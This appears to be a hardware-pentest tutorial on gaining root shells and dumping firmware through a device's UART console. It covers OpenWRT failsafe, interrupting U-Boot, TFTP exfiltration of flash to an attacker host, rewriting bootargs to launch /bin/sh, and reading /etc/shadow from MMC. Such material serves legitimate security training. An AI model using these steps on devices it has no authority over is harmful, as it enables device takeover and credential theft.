Not all UART interfaces are the same. Infact manufacturers could output actually anything over it. So there is no guarante you can abuse UART to dump firmware or get a shell on the device. But there are common methods, which we want to discuss further:
Some manufacturers build a failsafe mode in their devices, which is designed as a recovery option, if the device is not operating correctly. An example for this is OpenWRT, which will print something like this in the bootlog:
Press the [f] key and hit [enter] to enter failsafe mode
Press the [1], [2], [3] or [4] key and hit [enter] to select the debug level
Pressing F will give us a root shell:
Depending on your device you may have to mount the correct filesystem first:
Run ls /dev or blkid to locate storage devices and partitions (e.g., /dev/sda1, /dev/mmcblk0p2).
Use these commands to first create a mount point and then mound the filesystem:
mkdir /mnt/filesystem
mount /dev/<root_partition> /mnt/filesystem
Now you may access the filesystem under /mnt/filesystem
From here we can check if the root-filesystem is already been mounted and we can look for:
/etc/shadow hashes
ssh private keys
other credentials
If U-Boot is used, chances are that the "stop autoboot" function may not be disabled. Here we have to press any key within a certain timespan (for example 5 sec) and we will be provided with a U-Boot shell
Typing help will give us a list of all available commands
To dump the firmware, we can then use one of these options:
Using TFTP:
On your attacker host:
Set up a TFTP server sudo apt install tftpd-hpa (files will be stored in/srv/tftp)
Create a firmware.bin file, as in TFTP that can't be done by the client:
cd /srv/tftp
sudo touch firmware.bin
sudo chmod 666 firmware.bin
In U-Boot:
Setup IP-Adresses:
setenv ipaddr <IP of target> (e.g.: 10.0.0.2)
setenv serverip <IP of attacker host> (e.g.: 10.0.0.1)
check if IP Adress are saved: printenv
Initialize the flash with sf probe 0.
Copy the flash contents to RAM (adjust offset and size):
sf read <addr in RAM> <offset in flash> <size>
sf read 0x82000000 0x0 0x1000000. (=16MB in this case)
Transfer the data with TFTP:
tftp <addr> <filename> <size>
tftp 0x82000000 firmware.bin 0x1000000.
Change Bootvariable
Idea: change the binary, which is run, when booting up ⇒ booting into /bin/sh will give us directly a shell, without the need to specify the password
Steps:
printenv Print out the current variables, save the boot-arguments (something like bootargs=console=ttyS1,115200n8 mem=39M@0x0 rmem=25M@0x2700000 init=/linuxrc rootfstype=squashfs root=
Now we can overwrite the bootargs variable to boot into /bin/sh
Please adjust the baudrate(115200) if your device is using another
Boot the system with the boot command
boot
Now you should be prompted with a root shell. Often you have to mount partitions, to be able to access all data
Dump via Console
We can also dump it in the console: (CAN BE SLOW!)
Read data:
md.b <offset to read from> <number of bytes to read>
example: md.b 0x82000000 0x1000000
Save data to file using CTRL-A L in minicom for example (has to be trimmed)
If we want to dump from an MMC:
#list available MMCs
mmc list
# select an MMC to dump (we have to select one else next commands fail)
mmc dev 0
#get info of mmc
mmc info
# get partition to see which partition we wanna dump (e.g. rootfs)
mmc part
# search in partition
ext4ls mmc <device>:<partition> <path>
ext4ls mmc 1:8 /home/root
# read file from MMC to RAM
ext4load mmc <device>:<partition> <memory_address in ram> <file_path>
ext4load mmc 1:8 0xC6200000 /etc/shadow
# show the file from memory
md.b <memory_address in ram> <size>
md.b 0xC6200000 0x43C
If you drop directly into a root shell or if you can figure out the root-password (e.g. default creds), you can simply dd the partition to a usb stick or transfer it another way.